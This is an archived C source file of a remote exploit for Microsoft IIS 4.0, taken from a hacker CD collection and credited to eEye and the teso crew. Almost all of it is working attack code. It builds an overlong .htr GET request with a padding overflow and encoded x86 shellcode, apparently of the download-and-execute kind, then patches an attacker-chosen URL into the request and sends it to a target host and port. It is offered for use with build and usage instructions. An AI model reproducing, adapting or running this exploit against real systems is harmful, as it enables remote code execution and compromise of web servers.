home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / tesoiis.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-07  |  8.4 KB  |  297 lines

  1. <html>
  2. /* iis 4.0 exploit
  3.  * by eeye security
  4.  *
  5.  * ported to unix/C by the teso crew.
  6.  *
  7.  * shoutouts to #hax and everyone else knowing us...
  8.  *  you know who you are.
  9.  *
  10.  * gcc -o tesoiis tesoiis.c -Wall
  11.  */
  12.  
  13. #include <sys/types.h>
  14. #include <sys/ioctl.h>
  15. #include <sys/socket.h>
  16. #include <sys/time.h>
  17. #include <arpa/inet.h>
  18. #include <netdb.h>
  19. #include <net/if.h>
  20. #include <netinet/in.h>
  21. #include <errno.h>
  22. #include <fcntl.h>
  23. #include <stdarg.h>
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <string.h>
  27. #include <unistd.h>
  28.  
  29. int    net_connect (struct sockaddr_in *cs, char *server,
  30.     unsigned short int port, char *sourceip,
  31.     unsigned short int sourceport, int sec);
  32.  
  33. void    net_write (int fd, const char *str, ...);
  34.  
  35. unsigned long int       net_resolve (char *host);
  36.  
  37. char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */
  38.  
  39. #define    URL_OFFSET    1055
  40.  
  41. char front[] = "GET /AAAAAAA"
  42.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  43.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  44.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  45.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  46.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  47.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  48.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  49.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  50.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  51.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  52.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  53.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  54.     "\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87"
  55.     "\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50"
  56.     "\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32"
  57.     "\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43"
  58.     "\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b"
  59.     "\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0"
  60.     "\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51"
  61.     "\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43"
  62.     "\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43"
  63.     "\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1"
  64.     "\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75"
  65.     "\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59"
  66.     "\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
  67.     "\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab"
  68.     "\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90"
  69.     "\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8"
  70.     "\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66"
  71.     "\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92"
  72.     "\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc"
  73.     "\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3"
  74.     "\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a"
  75.     "\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50"
  76.     "\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b"
  77.     "\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8"
  78.     "\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4"
  79.     "\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc"
  80.     "\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff"
  81.     "\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55"
  82.     "\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90"
  83.     "\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53"
  84.     "\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98"
  85.     "\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86"
  86.     "\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66"
  87.     "\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d"
  88.     "\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21"
  89.     "\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90"
  90.     "\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95"
  91.     "\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82"
  92.     "\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21"
  93. /* stick it in here */
  94.     "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  95.     "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  96.     "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  97.     "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  98.     "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  99.     "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  100.     "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
  101.     "\x21\x21\x21"
  102.     ".htr HTTP/1.0";
  103.  
  104. void
  105. usage (void)
  106. {
  107.     printf ("usage: ./tesoiis host port url\n");
  108.     exit (EXIT_FAILURE);
  109. }
  110.  
  111. int
  112. main (int argc, char *argv[])
  113. {
  114.     /* yadda,yadda.. you can try exploiting our exploit!!
  115.      * update: hmm.. is this exploitable? gets EIP touched by exit()?
  116.      * gotta check this later...
  117.      */
  118.  
  119.     char            host[256], url[256];
  120.     int            port,sd,t = 0;
  121.     int            m = 0;
  122.     char            *cc, *pfft;
  123.     struct sockaddr_in    cs;
  124.  
  125.     printf ("teso crew IIS exploit.. shellcode by eEye.\n");
  126.     printf ("------------------------------------------\n");
  127.     if (argc < 4)
  128.         usage();
  129.  
  130.     strcpy (host, argv[1]);
  131.     strcpy (url, argv[3]);
  132.  
  133.     port = atoi (argv[2]);
  134.     if ((port < 1) || (port > 65535))
  135.         usage();
  136.  
  137.     cc = url;
  138.     pfft = front + URL_OFFSET;
  139.  
  140.     while (*cc) {
  141.         if (*cc == '/' && 0 == t) {
  142.             memcpy (pfft, stuff, 6);
  143.             pfft += 6;
  144.             t = 1;
  145.         } else {
  146.             *pfft = *cc + 0x21;
  147.             pfft++;
  148.         }
  149.         cc++;
  150.         m += 1;
  151.     }
  152.  
  153.     printf ("Host: %s Port: %d Url: %s\n", host, port, url);
  154.  
  155.     printf ("Connecting... ");
  156.     fflush (stdout);
  157.     sd = net_connect (&cs, host, port, NULL, 0, 30);  
  158.  
  159.     if (sd < 1) {
  160.         printf ("failed!\n");
  161.         exit (EXIT_FAILURE);
  162.     }
  163.  
  164.     printf ("done.. sending shellcode..");
  165.     fflush (stdout);
  166.  
  167.     net_write (sd, "%s\n\n", front);
  168.  
  169.     printf ("done.. closing fd!\n");
  170.     close (sd);
  171.  
  172.     printf ("%s\n", front);
  173.  
  174.     exit (EXIT_SUCCESS);
  175. }
  176.  
  177. int
  178. net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
  179.                 unsigned short int sourceport, int sec)
  180. {
  181.         int             n, len, error, flags;
  182.         int             fd;
  183.         struct timeval  tv;
  184.         fd_set          rset, wset;
  185.  
  186.         /* first allocate a socket */
  187.         cs->sin_family = AF_INET;
  188.         cs->sin_port = htons (port);
  189.  
  190.         fd = socket (cs->sin_family, SOCK_STREAM, 0);
  191.         if (fd == -1)
  192.                 return (-1);
  193.  
  194.         if (!(cs->sin_addr.s_addr = net_resolve (server))) {
  195.                 close (fd);
  196.                 return (-1);
  197.         }
  198.  
  199.         flags = fcntl (fd, F_GETFL, 0);
  200.         if (flags == -1) {
  201.                 close (fd);
  202.                 return (-1);
  203.         }
  204.         n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
  205.         if (n == -1) {
  206.                 close (fd);
  207.                 return (-1);
  208.         }
  209.  
  210.         error = 0;
  211.  
  212.         n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
  213.         if (n < 0) {
  214.                 if (errno != EINPROGRESS) {
  215.                         close (fd);
  216.                         return (-1);
  217.                 }
  218.         }
  219.         if (n == 0)
  220.                 goto done;
  221.  
  222.         FD_ZERO(&rset);
  223.         FD_ZERO(&wset);
  224.         FD_SET(fd, &rset);
  225.         FD_SET(fd, &wset);
  226.         tv.tv_sec = sec;
  227.         tv.tv_usec = 0;
  228.  
  229.         n = select(fd + 1, &rset, &wset, NULL, &tv);
  230.         if (n == 0) {
  231.                 close(fd);
  232.                 errno = ETIMEDOUT;
  233.                 return (-1);
  234.         }
  235.         if (n == -1)
  236.                 return (-1);
  237.  
  238.         if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
  239.                 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
  240.                         len = sizeof(error);
  241.                         if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
  242.                                 errno = ETIMEDOUT;
  243.                                 return (-1);
  244.                         }
  245.                         if (error == 0) {
  246.                                 goto done;
  247.                         } else {
  248.                                 errno = error;
  249.                                 return (-1);
  250.                         }
  251.                 }
  252.         } else
  253.                 return (-1);
  254.  
  255. done:
  256.         n = fcntl(fd, F_SETFL, flags);
  257.         if (n == -1)
  258.                 return (-1);
  259.         return (fd);
  260. }
  261.  
  262. unsigned long int
  263. net_resolve (char *host)
  264. {
  265.         long            i;
  266.         struct hostent  *he;
  267.  
  268.         i = inet_addr(host);
  269.         if (i == -1) {
  270.                 he = gethostbyname(host);
  271.                 if (he == NULL) {
  272.                         return (0);
  273.                 } else {
  274.                         return (*(unsigned long *) he->h_addr);
  275.                 }
  276.         }
  277.         return (i);
  278. }
  279.  
  280. void
  281. net_write (int fd, const char *str, ...)
  282. {
  283.         char    tmp[8192];
  284.         va_list vl;
  285.         int     i;
  286.  
  287.         va_start(vl, str);
  288.         memset(tmp, 0, sizeof(tmp));
  289.         i = vsnprintf(tmp, sizeof(tmp), str, vl);
  290.         va_end(vl);
  291.  
  292.         send(fd, tmp, i, 0);
  293.         return;
  294. }
  295.  
  296.  
  297.